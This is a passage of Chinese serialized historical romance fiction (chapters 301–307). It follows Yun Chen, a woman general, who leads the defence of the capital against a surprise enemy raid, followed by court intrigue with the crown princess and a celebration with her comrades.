心里正想着,却听一道带着冷气的声音传过来,一个妆容精致,浑身珠钗一丝不苟的小姐面露鄙夷道:
“好一个‘女中豪杰人中凤’,什么时候,没规矩成了惹人爱,失仪反倒成了率性。这是告诉天下女子,自小苦学的琴棋书画和礼节都是笑话,不如学男**口喝酒、大口吃肉更厉害吗?”
第301章 吵群架
一个高傲的声音响起,叫厅内整个鸦雀无声。
众人皆惊讶地循声望去,但见是曹国公家的大小姐,便不觉得稀奇。
曹国公家规森严,极重礼数。
曹大小姐向来是京圈贵女引为标杆的遵规守矩的对象。
今日若不是云琛有官职在身,位份最高的应当是曹大小姐。
云琛坐了主位,曹大小姐坐第二次位即可。
但她打心眼里瞧不上云琛的做派,便坐到了离云琛最远的角落位置。
听了这话,云琛没有说什么,她觉得曹大小姐说得也不错。
但一旁的宋俏俏不乐意了,冷笑一声,两手叉腰,讥讽道:
“是琴棋书画厉害,还是吃肉喝酒更厉害,我不清楚。但我知道凭一已喜恶定礼数的,一定不是什么知礼之人。曹大小姐若知礼,怎么不坐到云将军身旁来?”
曹大小姐将筷子重重放在桌上,碰得碗盏叮当一声,“我不与污糟之人过从亲密,避之不及,自然坐得越远越好。”
一旁几个离曹大小姐比较近的小姐们,也纷纷用鄙夷的神色望向云琛,撇嘴道:
“女扮男装?唱戏本吗?平时和男子在一起,怎么吃睡?真是叫人不敢细想!”
宋俏俏被几人的模样气笑了,“‘污糟之人’?”她摸摸云琛的衣服,故作无辜地发问:
“曹大小姐说的‘污糟’,是指云将军的子爵位,还是玄威少将位?是指云将军在战场风餐露宿、与将士们同甘共苦的尘土,还是指杀敌军时溅到的鲜血?
自然,云将军不比曹大小姐这样养尊处优五谷不分地长大,云将军母亲早逝,早早离家闯荡,是于险恶世间一步一步拼杀长大的,对曹大小姐来说,当然可望不可及。”
作为云琛的铁粉,就没有宋俏俏打听不到的事。
别说是云琛的母亲了,就是云琛有个无义血卫发小的事,宋俏俏都悄摸打听过一些。
曹大小姐身旁交好的几个小姐蔑笑一声,声音不高,却如绵里藏针,道:
“是呀,云将军威武厉害,敢做天下女子想都不敢想的事。今后只怕这世道不光要求女子温柔贤淑、相夫教子、持家有道了,还得要求咱会骑马射箭、杀敌立功呢!挺好,做女子真是没活路了。”
听了这话,宋俏俏拍案而起,刚要开口,却有别家小姐比她更快,气道:
“没活路?恰恰是多一条路吧!看着云将军,天下女子都会明白,这世上不是只有嫁人这一条路!还有不靠男人和家世便能辉煌的另一条路!”
“呵!什么另一条路?不清不白的路?不要体面规矩的路?”
“燕雀安知鸿鹄之志!你小小家雀,怎能懂云将军这位雄鹰?”
“我自然不懂!我们女子在深闺,连外男都少见,和自家兄弟都要谨着礼仪!哪里敢想和男人勾肩搭背称兄道弟!”
“好呀!你便好好讲礼仪!看有一天敌军杀到你家门口的时候!会不会跟你讲礼?!”
场面很快分为三个阵营。
一方以曹大小姐为首,四五个家世传统的小姐们和她一起,不断话里带刺,讥讽着云琛女扮男装的荒唐事。
另一边以斗志昂扬的宋俏俏为首,一大群关系要好的夫人小姐们和她一起,化身为云琛的保护盾,抵挡着曹大小姐一方的言语攻击并猛烈输出。
另外还有几个从中说和的,可惜没人听。
看着众人虽然没有要动手的意思,甚至声音都不大,用词也不过分,却你来我往唇枪舌剑,交锋如战场厮杀一般,云琛不免咋舌:
原来女孩子们不和善的时候也挺吓人的,一个个柳眉倒竖喋喋不休的样子,着实比黑鳞骑兵还可怕……
见众人都是为自己吵群架,云琛心里无奈,可吵又不会吵,劝又劝不住,只能郁闷地撑头坐着。
那边,曹大小姐自知自己这方人少,说不过宋俏俏,又是在宋家的地盘,不愿失了脸面,阴阳怪气地道了句“多谢这番款待”,就要离开。
宋俏俏却不肯她这么轻易离去,竟直接拿筷子掷向曹大小姐背后,怒道:
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“你给云将军道歉!道歉才许走!不然——”
“**啦!!!**啦!!!”突然,一个声音接过宋俏俏的话,惊恐地响彻内院。
众人循声看去,两个家仆突然连滚带爬地冲进内院,朝众人惊道:
“夫人们!小姐们!不知哪里来了一伙儿敌军部队!正由北向城中杀来!请各位夫人小姐速速乘车回府!快!快!”
众**惊失色,不能反应,互相惊问:
“怎么可能?真的假的?”
“天呐!京都城要打仗了吗?!”
说话间,听闻前厅方向忽然大声嘈杂起来,众人快步走出厅门查看,却见天空呈现异象,令人心头大慌。
“快看!那是什么?”一位夫人指着北方天空惊叫。众人同时望去。
却见明明已过傍晚,晚霞已退,北方天空却亮着大片橘色的焰火,像是要将半边天都烧起来。
一位年纪较大的夫人颤巍巍道:
“好像......好像是烽火!”
众人皆愣。
深闺里长大的夫人小姐们,这辈子连厨房烧火都不曾见过,更不要说是通报敌情的狼烟烽火。
所有人都吓得花容失色,有的已经怕得哭起来,还有几个胆子小的夫人直接两腿一软,跌倒在侍女的身上。
剩下的人也是慌得慌,乱得乱,害怕得不知怎么才好。
这些京城贵女们打出生起,就在这天下最太平富庶的京都城养着,哪里见过这种情形!
倒是宋俏俏酷爱兵书,崇拜武将,她在书上见过烽火,也知道烽火燃起,意味着已经开战。
但宋悄悄不敢确定,征求地看向云琛。
宋悄悄这一扭头,所有人都齐齐看向云琛。
大家都知道,若在场有人明白这是什么情况,那便只有上过战场的云琛。
果然,云琛脸色已变。但她不敢确定,这会不会又是一场像骊山道救驾一样的考验。
她稳住心神,清了清嗓子,竟叫乱哄哄的场面瞬间安静下来:
“大家先冷静!”
第302章 给点粉色瞧瞧
“大家先冷静!”
云琛的声音,一下令全场安静下来。
她捏捏同样惊慌失措的兰倩的小手,以示安慰,而后对那家仆命令道:
“劳烦府上出三十个人,一半去牵各府的马车,速在门口排队等候;另一半引各府的夫人、小姐们上车,不要乱跑,一个一个跟着走。出府之后绕南而行,不要向北!”
她看向北方天空,烽火燃起,只能说明京军已溃不能挡,敌军正在朝城中杀来,京军只能以烽火为信号警告城中。
不知是哪里来的敌人,有多少人,竟能越过边境守军,直接偷偷摸到京都脚下。
估摸了下烽火台的距离,最多一个时辰,敌军便能杀入城。
情势十分危急,但云琛面上没有一丝慌乱,仍安慰地对众位夫人小姐道:
“莫怕,也许是京军演习燃的烽火。诸位夫人小姐速速乘车回府,令护卫家丁将所有门拴死闭牢,将能抵门的东西都用上,府中灯火全部熄灭,不要出声,不要叫喊,静观其变!”
云琛语调十分平和,说得很委婉,声音更带着令人定心的力量。
所有人都不自觉地听从她的指挥,开始与侍女向外走。
就连曹大小姐几人也都乖乖听命,老实排在出府的队伍里。
然而一出内院,众夫人小姐才发现,整个宋禄伯爵府已乱成一团,前厅里的男人们、府中为数不多的护卫们,已纷纷持械上街。
大街上到处都是奔走逃命的百姓,还有不少趁机**掠的流氓。
见这情形,众夫人小姐们都吓得脚软不能行,上马车时腿都在发抖。
霍乾念、叶峮和不言已在大门口整装待发。
因为常年征战的关系,霍府的马车上习惯性备着铠甲。
霍乾念快速穿铠甲,手中不停,耳中听着探子急急传来的回报。
见云琛最后一个从夫人小姐们的队伍中走出来,霍乾念没有多问,熟练地将铠甲递给她,道:
“不是殿下的又一次试探,是洛疆游兵。一个月前,洛疆攻占临近部落和王都,统一北方,形成百万兵力。先锋部队十万人马,借雪山掩盖踪迹摸到京都城外,现已攻破京军防守,朝京都城杀来。东宫有急令,命我等率军迎击。”
“嗯。”云琛点头,放心地看了眼留在宋俏俏身边避难、正担忧望着自己的兰倩。
她快速将身上各种繁琐的配饰卸下,飞快穿戴好铠甲,翻身跨上水中龙,凌空接住叶峮抛来的饮血剑。
一大群霍帮护卫们急急驾马奔来,云琛立在黑压压一片男人与铠甲前,面容严肃,神态冷静,透着无畏与威严。
另一边,已经乘上马车准备离去的众夫人小姐们,看着云琛身穿铠甲、骑马、持剑一系列利索的动作,像是已做过千百次那样熟悉,心里蓦地生出些异样情绪。
很快,马车起程。
车前那象征着豪门贵女的垂樱铃铛,在空中荡出优美的弧线,向着尚且安全的城南而去。
与此同时,云琛呵马,在众霍帮护卫的出发呐喊声中逆行向北。
她与所有夫人小姐们的方向正相反,她们向生而去,她无畏迎战而发。
曹国公府的马车中,曹大小姐望着云琛怔了片刻,眼眶微湿,只觉心中激荡不已,敬佩之情突然淹过一切世俗的体统规矩,占据着整颗心。
她对驾车的仆人道:
“等等,去云将军那里一下。”
马车缓缓掉头,向云琛走去。
紧接着,所有已经准备向南行去的马车,通通
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调转方向。
无数垂樱铃铛在空中华丽地转身,向着云琛走来。
云琛惊讶地望着马车队伍,不明白夫人小姐们为什么突然调转方向,却见最前面的曹大小姐走下马车,步子急而不乱,端庄地走到她面前。
曹大小姐定定地看了云琛一会儿:
云琛繁复漂亮的发式已全部解开,耳环也已卸下,只剩最适宜作战、不扰乱视线的束发。
因为事发太突然,云琛没来得及换下内里的衣裳,仍是靛蓝粉清的裙式,上面已穿好冰凉坚硬、边缘磨得发亮、还带着许多刀砍痕迹的铠甲。
像是有话想说,却又不好意思说出口,曹大小姐轻轻偏头,抬手取下自己精美又昂贵的耳环。
她将上面的玉珠掰下来,放在云琛手中,什么都没说,便又转身上车离去。
紧接着,所有夫人小姐们都一一走到云琛面前,将耳坠上的珠子取下,放入云琛的掌心。
云琛不明所以,一直站在旁边看着一切的宋俏俏,却笑中带起泪花。
她取下头上编发的红绳,一边将所有大小不一、或金银或玉制的珠子穿起来,一边轻声道:
“云姐姐有所不知,民间有一习俗,父母会在孩子出生时,向百家各求一文钱,为孩子纳百福之意。这习俗到了京都嘛,大小姐们骄矜,觉得铜钱低廉,便以耳坠玉珠代之。送给谁,便是祝祷谁长寿平安之意。”
宋俏俏将穿好的珠子戴在云琛手腕上,绕成两圈样式奇怪却漂亮的手钏,牢牢系上花结。
她对云琛笑着说:
“云姐姐,你是保家卫国的鹰,去吧,给敌人点粉色瞧瞧。”
云琛看着自己铠甲下露出来的粉色裙摆,点点头,清朗笑起:
“好。”
第303章 兄弟姐妹
我是保家卫国的鹰,她们是欢快美丽的百灵鸟儿。
如果没有她们,我不知道这保家卫国还有什么意义。
正因为有那些美丽、珍贵、快乐的人儿,才让我觉得一切流血牺牲都无比值得。
我在广阔无边的战场厮杀,正如她们在小小的四方院里,对着一样的天、一样的地,以手中闪烁着光芒的金银丝线,与无数看不见的敌人交锋。
与这轻视她们、苛待她们又索取她们的世道交锋。
这天由男人们耕耘,这地由女子们织成。
若世间的利箭穿过男人们的身体,扎向她们的裙下,她们不是只会哭着后退的羔羊。
她们会放下手中原本一生不会停歇的织机,举起那应当只会织就美丽的梭子,狠狠地扎向敌人。
心里想着这些话,云琛觉得浑身有使不完的力气。
那五彩斑斓的手钏将她的手腕裹得滚烫,带给她前所未有的信心和勇气。
前方是十万敌军。
身后是她的兄弟和姐妹。
她义无反顾纵马上前,高高扬起饮血剑。
洛疆十万大军突袭。
京军溃不成军,**的只剩四万兵力,却在霍乾念坐镇四方的有力指挥下,与可调动的一万禁军迅速集结,整合成可堪一战的军队。
五万人马分别由霍乾念、云琛、曹放、孟剑云和段捷带领,分五路出城北进击。
作为先锋,云琛带队一马当先,杀在最前。
不论前方是身材高壮如熊的洛疆游兵,还是攻防兼备的刺盾阵营。
凡云琛所到之处,皆横冲直撞,杀不回头,将敌人防守全部打散,为后方部队创造了极其有力的进攻条件。
苏正阳与守卫皇宫、绝不可调动的一万禁军及亲贵大臣们立在皇城之上观战。
只见城北外杀声撼天动地,马匹奔腾如雷,众人皆感五脏六腑都在震颤,浑身鸡皮疙瘩直冒,骇到不能言语。
苏正阳的目光一直远远望着云琛。
距离太远,看不真切,但他瞧见那匹纯黑色的水中龙竟真如游龙一般,在洛疆大军中摇头摆尾、凶猛冲杀,将一个个方阵打散。
那一抹粉色的裙摆在黑龙背脊之上翻飞不止,所到之处皆人头落地,最后竟震慑得洛疆游兵围成一圈而不敢上前。
苏正阳无法形容他内心的震动。
这一战,从天黑杀到天亮。
洛疆游兵虽勇,但打法鲁莽,没有章法,很快便在霍乾念排兵布阵之下被击溃,仓皇向雪山逃去。
京都城的人们一夜无眠。
听着城外杀声动天,人们在家中瑟瑟发抖地抱作一团。
当城外传来胜利的号角声,人们才终于深呼一口气,劫后余生似的抱头痛哭。
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人们自发地走出城门,去迎接那为保护他们而奋战了一夜的将士们。
原本,人们是想欢呼的,鼓掌的。
可看着那些比自己孩子大不了多少的将士们,浑身是血地从面前经过,手中抬着战死的战友,人们又欢呼不起来了。
因为杀敌最多的关系,云琛照例策马在前。
从城门到宫门,一路行过,一路都有百姓们在街边驻足观望,每个人的脸上都是激动、感激和心疼。
云琛看见宋俏俏和兰倩站在宋禄伯爵府门前,高兴地朝她挥手。
她看见霍帮的门口挂上了长长的鞭炮,一看就是等着庆祝的。
少将府门口,没怎么见过自家主子的护卫和家仆们拥作一团,指着她的方向,骄傲地对旁人说:
“瞧见没?那就是我家将军!我们将军是忙着打仗去了!不是不要我们了!”
云琛瞧见曹大小姐也在人群中,她好像突然忘了体统和规矩,竟也和府中上上下下的奴仆侍女们当街站在一起,眼含热泪地望着云琛。
曹大小姐身边,一个看起来只有十岁的小姑娘轻轻摇晃她的手,问道:
“姐姐,走在最前面的是谁?好像是女子?”
曹大小姐咽下喉间哽咽,微微挺胸,正色道:
“那是我们楠国第一位女将军,记着,她叫云琛。”
第304章 离开的决心
京都战罢,众将入宫复命。
卸下铠甲和武器的时候,每个人的铠甲都粘着厚厚的血痂,簌簌往下掉落。
云琛和霍乾念几人,全都不同程度地受了些伤,略略包扎过后,便进入东宫殿行礼。
南璃君从高座小跑下来,亲手将几人一一扶起。
她拉住云琛的手,声音带着哭腔,赞叹道:
“不愧是我楠国第一位女将军,勇冠全军!实为天下女子表率!”
环顾几人一身战伤,以及这立在满朝文武眼皮子底下的赫赫战功,南璃君道:
“本殿要重赏几位将军!”
知罗从旁款步上前,再没有像从前一样多看云琛一眼,官方地宣读为几人加官进爵和赏赐的东宫令。
南璃君则回身向高座走去,脸上的感动之色瞬间褪下。
在云琛几人看不见的地方,南璃君掏出帕子,将方才与云琛拉手时沾到的血污擦干净,眉间露出一丝微不可察的厌恶。
南璃君转身落座,脸上立马换起一副赞许笑容。
她又说了一大篇不痛不痒的褒奖之言。
云琛一夜酣战未睡,这会子又累又乏,禁不住有点开小差,眼神飘忽看向殿中。
就这么一飘忽,她突然留意到大殿偏门处好像有道人影。
似乎察觉到她的目光,那人影快速闪躲进门,只叫云琛看见一抹荼白的衣角。
云琛很惊讶,这偏门后面就是南璃君的寝屋,是谁这么大胆,敢在东宫寝殿偷听?
她想得入神,没注意到南璃君话已说完,所有人都在叩首谢恩,只有她还突兀地站着,霍乾念正在拽她裤腿提醒。
反应过来自己的失仪,云琛赶紧跪下告罪,南璃君却好像并不在意,只笑容满面地对她说:
“云将军如今已是升做伯爵的人了,应当更稳重些。不过没关系,霍侯爷觉得好就行。”
霍乾念要迎娶云琛的事,已在全京都传得沸沸扬扬,曹放几人自然也都听说。
眼下南璃君这样话里有话,无疑坐实了这一消息,几人不免都替云琛和霍乾念高兴。
不多时,封赏结束,南璃君叫众人都退下,只叫霍乾念留下议事。
她将霍帮最高令牌、狮威军的兵符和侯冠,这三样霍乾念已交还给她的东西,一一摆在桌子上。
“这三件,本殿还给你。”
霍乾念淡淡地看一眼桌上的东西,“殿下恕罪,臣辞意已决,只愿与云琛做一对寻常富贵夫妻。臣已打算迁府回烟城,讨个清净自在。”
南璃君蹙眉,“如今洛疆已吞并北方各部落,建立地广兵强的洛疆汗国。先锋队竟敢越过雪山偷袭到京都脚下。北有洛疆,中有叛军,东南还有虎视眈眈的黑鳞骑兵。你这个时候请辞,实在令本殿心寒。”
霍乾念脸上没有任何表情,南璃君却能感受到他身上强烈的不屑和冷淡。
“霍乾念,我知道你在想什么。你觉得本殿什么都不听你的,继续为本殿效力,只是枉费,对吗?炎绰舅舅崩逝,东炎内乱,西炎已趁火**杀进东炎。
这些的确如你所料。可本殿假装调离京军增援时,西炎并没有杀来,颜十九也没有一丝一毫的反叛之心。霍乾念,你猜错了。”
那只能是颜十九从你身上察觉不妙,或者知道了你寄去东炎排查皇子的密信,改变了原来的计划。骊山道大戏不就是么,与知罗联合,意图除掉我,更打消你心中所有顾虑,站稳你的信任。
这些话,霍乾念已不想说出来,他觉得没有再说的必要。
“也许吧。”他语调平常,“倪鲲**,京军没有反,朝廷也没有乱,殿下还觉得倪鲲是意欲**的大奸臣吗?”
南璃君一
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脸肃然:
“自然!”
霍乾念苦笑一声:“那臣无话可说了。请殿下允臣请辞。”
“你……”南璃君蹙眉不悦,从桌上拿起一封厚厚的密信,对霍乾念道:
“倪鲲将传国玉玺给本殿时,玉玺下面压着这封信。倪鲲说,等他死后,请本殿拆信亲观。”
霍乾念看了眼信上还未启开的封口,道:“殿下应当看一看。”
“是吗?”南璃君将密信凑到烛台前,烛火迅速咬住信封,撕咬出黑色的裂痕,很快将整封信吞噬成灰。
密信燃烧着,霍乾念盯着那刺目的火焰,心里一阵惋惜轻叹。
他为倪鲲不值,亦为自己悲哀,更坚定了想要离开的决心。
可南璃君却漫不经心道:
“不管这信上写的是什么,忠言也好,贬斥也罢,本殿都不感兴趣,也不能影响任何决定。因为本殿是楠国的储君,是楠国唯一继承人,这天下人人都会错,但本殿绝不会错。”
顿了顿,她昂起下巴,一字一句道:
“因为我就是王,我就是法。”
这话说得气势十足,但话音落下,四周却只有安静和尴尬,并没有一丁点的掌声和捧场。
殿内只有南璃君和霍乾念两个人。
霍乾念平静地瞧着她,似乎对她的一切都无动于衷,不免叫这句气势十足的话变得有些滑稽可笑。
那信上写了什么呕心沥血之言,永远也没有人知道了。
霍乾念想,其实南璃君已经有所察觉了吧。
但她不能接受、更不能承认她错杀了倪鲲,所以宁愿掩耳盗铃,将这密信烧得干干净净。
气氛到这份上,南璃君索性不兜圈子了。
她拿出一道明黄色的圣旨放在桌上:
“这是为你和云琛赐婚的圣旨,将是我登基之后的第一道旨意。”
第305章 王与妖魔
南璃君将圣旨打开,将末尾那鲜红色的传国玉玺印,展示给霍乾念看。
她的眉头有些许得意之色,像是等着看霍乾念惊喜的表情,但眼底深处却藏着一丁恶毒又兴奋的笑意。
她自以为将一切掩饰得很好,却不知,什么都逃不过霍乾念的眼睛。
几乎是一瞬间,霍乾念便知道,这个绝美又恶毒的女人在盘算些什么。
赐婚?只怕……
南璃君道:“令牌,兵符,侯冠,都给你。如今朝廷正值战事紧迫用人之际,本殿已决定御驾亲征向北伐击洛疆。待战事平定后,我登基为皇,你将仍旧是霍侯爷,掌三十万兵权,掌天下霍帮。我会用登基之后的第一道圣旨,为你和云琛赐婚。”
南璃君说得信誓旦旦,霍乾念却看得愈发分明,心也更寒。
倪鲲虽然**,但南璃君公然违背先皇遗旨,未等十年就要登基,难以服众。
她需要一个远比霍乾念、云琛、曹放他们更大的功劳来赢得天下赞许,令朝臣心服口服,才能够名正言顺地登基为皇。
她想要踩着霍乾念和云琛为阶梯,去登她的皇位。
同时又担心离开京都后,会有别的眼睛觊觎王座——
比如霍乾念这个无论财力、武力,还是智慧、谋略,都鹤立鸡群者,就是她的首要忌惮。
再加上这次,霍乾念与云琛在全京都面前,立下这天大的驱敌救城之功。
人人都在讨论本事非凡、智勇双全的霍侯爷,他的名声俨然已盖过南璃君。
即使已嫉妒到骨子里,南璃君也清楚地知道,她必须要重用霍乾念。
至于赐婚嘛……
南璃君这番话言之凿凿,恳切又郑重,却三分真,七分假,根本经不起细品。
她好像忘记了来时的路,那下面埋着霍帮多少血肉英魂。
霍乾念深呼一口气,望向高深璀璨的殿顶。
不知是不是错觉,他总觉得这殿宇好像越来越低矮逼仄,已容不下一丁点光辉照进来。
抱着最后一点对南璃君残存的寄予,霍乾念摇头:
“谢殿下好意。但臣已决心请辞。至于臣与云琛的婚事,平头百姓不敢奢求圣上赐婚,我们只在殿下看不见的地方安静成婚便是。”
这意思是我霍乾念娶云琛,不需你南璃君同意。不管有没有你这道圣旨,我都一定要娶。
话虽没有明说,但其中强势之意明显,南璃君立马脸色微变,脸色黑下来:
“霍乾念,你以为单单是赐婚吗?云琛女扮男装之罪,你二人欺瞒之罪,只有本殿赐婚,才代表完全赦免不追究,无人可以再拿此事发难。否则,今后只要有心人想翻起风浪,便可以拿这事做文章,麻烦将……无穷无尽。”
最后四个字,南璃君说得又缓又慢,别有深意。
霍乾念很清楚,这个“有心人”就是南璃君自己。
这是赤裸裸的威胁,意思是你霍乾念答应也得答应,不答应也得答应。她南璃君绝对不可能轻易放过。
霍乾念伸出修长的手指,捋了捋眉心,想要赶走那来回反复的厌烦。
他好想此时此刻能望着云琛的眼睛,他急切地需要那纯洁的光芒,来压制他内心的躁动,不至于像现在这样——
幽深的深渊已彻底裂开,无数的妖魔鬼怪正从中爬出。
沉默许久许久,他最终长呼一口气,发出一声轻蔑、悲哀又带点快意的复杂笑声。
他再次抬眼看向南璃君,先前淡然之色一扫而空,深不可测的幽光,又再次回到他眼中。
他问:“殿下御驾亲征,亲自北伐,谁人留京都监国?”
“丞相监国,苏正阳领禁军留守。”南璃君答。
他有点意外南璃君竟愿意继续用云望,转而又明白过来,在她眼里,云望一介书生,又有家眷可拿捏,不至于构成太大威胁。
且云望着实有才干,除了他,无人能担丞相之职。
南璃君道:“本殿会亲率颜十九和曹放北伐,孟剑云与段捷仍在中部平叛,你与云琛越东南边境追击黑鳞骑兵。此为最好的安排。”
想了想,霍乾念道:“殿下首次出征,宜用年轻将领在身旁,把握更大。曹将军年事已高,只怕
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不能深入北方苦寒之地作战。”
南璃君觉得此话有道理。
可朝中武将不多,年轻将领里除了霍乾念、云琛,就只有段捷。
她忌惮霍乾念,且战场刀剑无眼,变数极多,她不敢将霍乾念和云琛放在身边。
掂量片刻,想着段捷是从遥远的宥阳调来的新将,除了孩子百天宴这等人人都会出席的场合,霍乾念与段捷并无私交,可以信任,她便道:
“那便命段捷与我一同北伐,曹将军与孟将军前往中部平叛。”
安静许久,霍乾念缓缓点头。
他凤眸微狭,目光幽深地盯着南璃君,缓缓上前一步:
“殿下,您想好了,当真将令牌、兵符和侯冠都给臣?战罢也不收回?”
南璃君刚想说“对”,却突然察觉到霍乾念浑身溢出的压迫感。
她点头称是,霍乾念又往前一步,目光直直盯着她。
“待战事平定,即为臣与云琛赐婚?”
仿佛看着一头面无表情却极具杀意的雄狮步步逼近,南璃君身子一僵,感到巨大的危险。
“本殿一言既出,驷马难追。到时不仅为你二人赐婚,还将封你为一等忠勇公!云琛为诰命夫人!”
这几句显然没能令霍乾念动心,也没能阻拦他的脚步。
他再次往前一大步,已近到与南璃君只有一臂桌宽的距离。
南璃君似乎能听见兽王喉间的低吼,感觉到那锋利的獠牙在朝她缓缓张开。
霍乾念姿态从容威严,以握**的姿势,抬手抓住桌上的侯冠。
那侯冠由铜铁镶宝珠制成,意为国之重器与坚实之意。
侯冠上锋利的装饰直挺挺立着,像是可以**。
一瞬间,南璃君几乎要大喊“救驾”。
她硬生生将舌尖上的字眼吞下去,两手死死扣住椅子扶手,但瞪大的眼睛与颤动的睫毛,还是将她的惊慌出卖无遗。
就这么目光锋利又威逼地看着南璃君,霍乾念一一拿回桌上三样东西,用眼神指了指那盖着玺印的圣旨,淡淡道:
“臣静等殿下践约之时。”
第306章 管管你手下的土匪
少将之上是中将,而后才是霍乾念和曹放那一级别的上将军。
京都守卫一战,云琛杀敌最多,先锋功劳最大,却压根没有要晋升的意思。
只得了伯爵位,外加黄金千两,玉石无数。
在旁人看来,伯爵位好啊,可以**,又有封地,离侯位只差一步。
但明眼人却看出东宫对云琛的忌惮。
云琛是女子,早晚要婚配,伯爵位只能拱手让给夫君或子嗣。
但晋封将军就不一样了,中将之上带兵权。
东宫摆明不想让云琛独自领兵。
看透这一层,人们不免为云琛可惜。
云琛却浑不在意,一揣着金子离宫,立马将还在东宫与南璃君议事的霍乾念抛在脑后。
她将这次为守卫家园、与京军同上战场杀敌的霍帮护卫们请进少将府。
将黄金玉石与众人分了,在前厅摆上夜宴,准备和众人好好庆祝一场。
为避嫌如今的女子身份,云琛特意请了云望来待客。
堂堂丞相揣着袖子站在门前,一脸不苟言笑,严肃稳重,宛如等着抓逃学的先生。
霍帮护卫们大多拳脚厉害,文化一般,嘻嘻哈哈勾肩搭背地来到少将府门口,一见云望,立刻乖乖收敛,垂手低头,排队进府,没一个敢放肆的。
只能听见有人悄悄说:
“丞相大人来待客?阿琛请客规格都这么高的吗?”
“怕啥?那是阿琛的亲弟弟!就是咱自己人!妈的,我应该穿新靴子来的!”
望着这一幕,云琛忍俊不禁:
“原来大家都怕文化人啊!”
趁没人的时候,云望翻了下眼睛:
“说你守礼吧,你大晚上喊一群大男人上门吃饭;说你不守礼吧,你还知道喊我来待客。多谢琛姐姐让我百忙之中抽时间来看大门。”
云琛忍不住仰头哈哈大笑,刚笑了一声,立刻被云望一个眼神制止。
“琛姐姐,你如今里里外外已都是女子身份,最好不要这样笑。”
云琛瞧了眼一旁掩嘴笑的兰倩,学着她的样子“死死”捂住口鼻,“那这样?”
云望嘴角抽动,“别了。免得旁人误会我有体味。”
“哈哈哈哈哈——”云琛毫无形象地再次大笑。
一场战役,让云琛心里那点因女儿身天下大白而生出的怯懦,通通消失得无影无踪。
手握刀箭,杀敌卫国。
在无尽的厮杀与血溅中,她蓦地想起师父曾对她说过的话:
不论世人如何曲解与诟病,你只当狗吠。
她重新找回无畏与坚定,亦决心从今以后只做她自己。
旁人说她女将英勇也好,倒反天罡也罢,她只做本心昭昭的“云老虎”。
纵使这世上只有她一个奇葩女子又如何。
想通这些之后,云琛只觉通体舒畅,和霍帮的护卫兄弟们一顿举壶豪饮,大笑谈天。
云望一个不注意,云琛就站到凳子上去了。
再一个不注意,云琛已经在桌子上了。
要不是云望盯得紧,云琛差点兴奋过头,骑到花绝脖子上去。
许久没有和云琛喝酒,花绝高兴得多喝了好几壶,人很快就晕晕乎乎,将什么男女大防抛之脑后,搂着云琛肩膀,大舌头道:
“好阿琛!做、做、做伯爵了!将来很快就是侯爷、是是将军了!我的好兄弟!看到你这样,比我自己当霍帮少主还高兴!”
听到这真实又烫嘴的大实话,云琛感动到哽咽,连连点头,回抱住花绝,一个劲儿地拍他肩膀。
一旁叶峮赶忙将两人分开,还没忙活完呢,就听那边不言喝高了,嚎啕大哭:
“我的兄弟啊!!阿琛!!我的兄弟啊!!”
叶峮走过去,给了不言头上结结实实一巴掌:
“嚎那么不吉利干什么?!阿琛只是变女子,又不是**!”
花绝眼睛一亮,从旁点评:“‘变’这个字用得特、特、特别好!”而后搂住不言道:“你也变一个,变了以后就可以和阿琛做姐妹了!”
从云琛女儿身大白天下开始,不言就一直很崩溃。
他不能接受云琛竟然是个女人!!
竟然有女人知道他有燥痔!!
他记不清有多少男人间的秘密被阿琛听了去。
他端起一碗酒,哭着对云琛道:“你我兄弟情义,今日就此断绝!”
“这什么屁话……”叶峮都懒得骂人,直接给了不言屁股上一脚,花绝也骂骂咧咧要**,云琛却过去捧住不言的酒碗,红着眼睛望向不言。
不言一把揽住云琛后脑勺,用额头抵在她的额头,含情脉脉道:
“从今以后,我们姐妹相称!”
“好!”云琛嚎了一嗓子,中气十足地喊了声:
“姐姐!”
不言咬住牙齿,狠狠答应:
“我在!好妹妹!”
说罢两人就要拥抱,吓得叶峮赶紧一个锁喉将不言拖走。
周围的霍帮护卫们都哈哈大笑起来。
不言上半身被叶峮拖着,下半身两条腿不住挣扎,大声哭喊:
“我和阿琛是姐妹了!咋了?姐妹也碰不得吗?从前是亲密无间的生死好兄弟,如今却碰也碰不得了?呜呜呜……”
这话说出了所有人的心声。
自从云琛“变成”女人,为了云琛的名声着想,所有
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人都再也不能与她勾肩搭背地说笑。
就连击掌打招呼都是奢侈,碰一下都是逾矩。
京都守卫之战打完,所有人眼睁睁地看着云琛累得气喘吁吁,走路腿肚子都在打颤,却没人敢上前搀扶她一下。
要换做从前,只怕众人早就一窝蜂上前搀住云琛,你扛着我,我扶着你。
谁管什么体统规矩,兄弟们都活下来才是硬道理。
如今这男女大防,彻底隔开了云琛和所有人的兄弟情谊。
想到这里,霍帮众护卫们纷纷摔碗大骂:
“**规矩!”
“阿琛先是咱兄弟!后才是女人!”
“老子不管!阿琛升了伯爵位!老子必须要给她扛起来庆祝庆祝!”
“好!抛个高!让阿琛高兴高兴!!”
说着,众人齐齐上前围成圈,直接将一直从旁监督众人别出格的云望和叶峮挤到二里外。
无数双手抓住云琛的肩、背、腰、腿,稳稳将云琛托举起。
有人喊了嗓子:“来来来——送小阿琛上天玩一个!”
众人齐声呼应,刚要将云琛抛起来,却听一声响亮的“霍侯爷到——”
霍乾念的身影出现在门口,长身立在灯笼下的阴影里,烛火将他的脸照得晦暗不明,让人看不见情绪。
一瞬间,全场鸦雀无声,所有人都僵住动作,不敢再放肆。
一旁被挤到地上的云望瞪着眼睛,仿佛在对霍乾念说:
“姐夫,快管管你手下这群土匪吧!”
当着霍乾念的面,将他未过门的媳妇儿抛上天?
霍帮护卫们觉得自己这手大约是保不住了,按霍乾念的性子,大约今夜碰过云琛的都得剁手。
云琛被举在半空,四肢挣扎,“哎?你们倒是抛啊?不然这架势很像拿我祭天啊??”
她顺着众人的视线望去,刚才还乱哄哄没听清,这会才知道是霍乾念来了。
她仰躺在半空,开心地对霍乾念招手:
“阿念!你回来啦!”
霍乾念走出烛火的阴影。
出乎所有人意料的,他的脸上没有一丝一毫的不悦,只有软得能滴出水的温柔。
他问:“高兴吗?”
云琛使劲点头:“高兴!”
他无奈地摇头笑笑,不再说话,只抬了下手,示意众人继续。
霎时间,全场爆发出欢呼,几乎要将少将府的屋顶都掀翻。
众人簇拥着云琛,无数双有力的手将她高高抛起。
欢呼声与祝福声环绕周身:
“送我兄弟上青云!!”
“好阿琛!今日做侯爵!明日将功成!”
“好阿琛!好小子——”
第307章 真正要做的事
少将府喧闹了大半夜,众人才三两散去。
